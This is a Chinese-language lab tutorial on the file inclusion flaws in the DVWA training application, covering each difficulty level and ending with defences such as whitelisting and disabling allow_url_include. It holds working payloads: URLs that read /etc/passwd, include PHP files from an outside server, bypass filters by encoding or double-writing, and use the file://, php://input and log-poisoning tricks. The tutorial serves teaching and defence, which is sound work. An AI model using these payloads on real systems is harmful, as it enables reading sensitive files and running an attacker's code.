DVWA靶场之File Inclusion学习分享
字数 2483 2025-08-24 20:49:31
DVWA靶场之File Inclusion漏洞详解
1. 文件包含漏洞概述
文件包含(File Inclusion)漏洞是指服务器通过PHP函数(如include(), require(), include_once(), require_once())包含文件时,未对包含的文件名进行严格过滤,导致攻击者能够包含恶意文件或系统敏感文件。
漏洞类型
- 本地文件包含(LFI, Local File Inclusion): 包含服务器本地的文件
- 远程文件包含(RFI, Remote File Inclusion): 包含远程服务器上的文件
2. DVWA靶场中的文件包含漏洞分析
2.1 Low级别漏洞
代码分析
<?php
// The page we wish to display
$file = $_GET['page'];
?>
漏洞点:
- 直接使用用户输入的
page参数,没有任何过滤或检查 - 可以包含任意本地或远程文件
利用方式
-
本地文件包含:
- 绝对路径:
/vulnerabilities/fi/?page=/etc/passwd - 相对路径:
/vulnerabilities/fi/?page=etc/passwd
- 绝对路径:
-
远程文件包含:
- 直接包含远程PHP文件:
http://43.247.91.228:81/vulnerabilities/fi/?page=http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php - URL编码绕过:
http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70
- 直接包含远程PHP文件:
-
结合文件上传漏洞:
- 上传恶意PHP文件后包含:
http://43.247.91.228:81/vulnerabilities/fi/?page=http://43.247.91.228:81/hackable/uploads/phpinfo.php
- 上传恶意PHP文件后包含:
2.2 Medium级别漏洞
代码分析
<?php
// The page we wish to display
$file = $_GET['page'];
// Input validation
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\\"), "", $file);
?>
防护措施:
- 过滤
http://、https://、../和..\
漏洞点:
- 使用
str_replace函数,可通过双写绕过 - 未过滤绝对路径
利用方式
-
本地文件包含:
- 绝对路径仍然有效:
/vulnerabilities/fi/?page=/etc/passwd
- 绝对路径仍然有效:
-
双写绕过远程包含:
page=hthttp://tp://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php- 过滤后变为
http://47.94.9.224:83/vul/unsafeupload/uploads/phpinfo.php
-
URL编码绕过:
http://43.247.91.228:81/vulnerabilities/fi/?page=%68%74%68%74%74%70%3a%2f%2f%74%70%3a%2f%2f%34%37%2e%39%34%2e%39%2e%32%32%34%3a%38%33%2f%76%75%6c%2f%75%6e%73%61%66%65%75%70%6c%6f%61%64%2f%75%70%6c%6f%61%64%73%2f%70%68%70%69%6e%66%6f%2e%70%68%70
-
结合文件上传漏洞:
http://43.247.91.228:81/vulnerabilities/fi/?page=hthttp://tp://43.247.91.228:81/hackable/uploads/phpinfo.php
2.3 High级别漏洞
代码分析
<?php
// The page we wish to display
$file = $_GET['page'];
// Input validation
if(!fnmatch("file*", $file) && $file != "include.php") {
echo "ERROR: File not found!";
exit;
}
?>
防护措施:
- 使用
fnmatch函数检查page参数必须以"file"开头
漏洞点:
- 仍然可以通过
file://协议包含本地文件
利用方式
- file协议利用:
http://43.247.91.228:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/phpinfo.php
2.4 Impossible级别防护
代码分析
<?php
// The page we wish to display
$file = $_GET['page'];
// Only allow include.php or file{1..3}.php
if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php") {
echo "ERROR: File not found!";
exit;
}
?>
防护措施:
- 使用白名单机制,只允许包含特定文件
- 彻底杜绝文件包含漏洞
3. 文件包含漏洞的利用技巧
-
日志文件包含:
- 包含Apache日志:
/var/log/apache2/access.log - 通过User-Agent注入PHP代码
- 包含Apache日志:
-
PHP伪协议利用:
php://filter/read=convert.base64-encode/resource=index.phpphp://input+ POST数据执行代码
-
环境变量包含:
/proc/self/environ
-
会话文件包含:
/tmp/sess_[sessionid]
4. 防御措施
-
白名单机制:
- 只允许包含预定义的文件(如Impossible级别)
-
严格过滤:
- 过滤
../、http://、https://等特殊字符 - 注意双写和编码绕过问题
- 过滤
-
禁用危险函数:
- 在php.ini中设置
allow_url_include=Off - 禁用
allow_url_fopen
- 在php.ini中设置
-
目录限制:
- 设置
open_basedir限制文件访问范围
- 设置
-
文件验证:
- 检查包含的文件是否存在预期目录中
5. 总结
文件包含漏洞的危害性取决于服务器的配置和过滤措施。从DVWA的四个级别可以看出,简单的字符串替换无法完全防御文件包含漏洞,最有效的防御方式是采用白名单机制。开发人员应避免直接使用用户输入作为文件包含的参数,或至少进行严格的验证和过滤。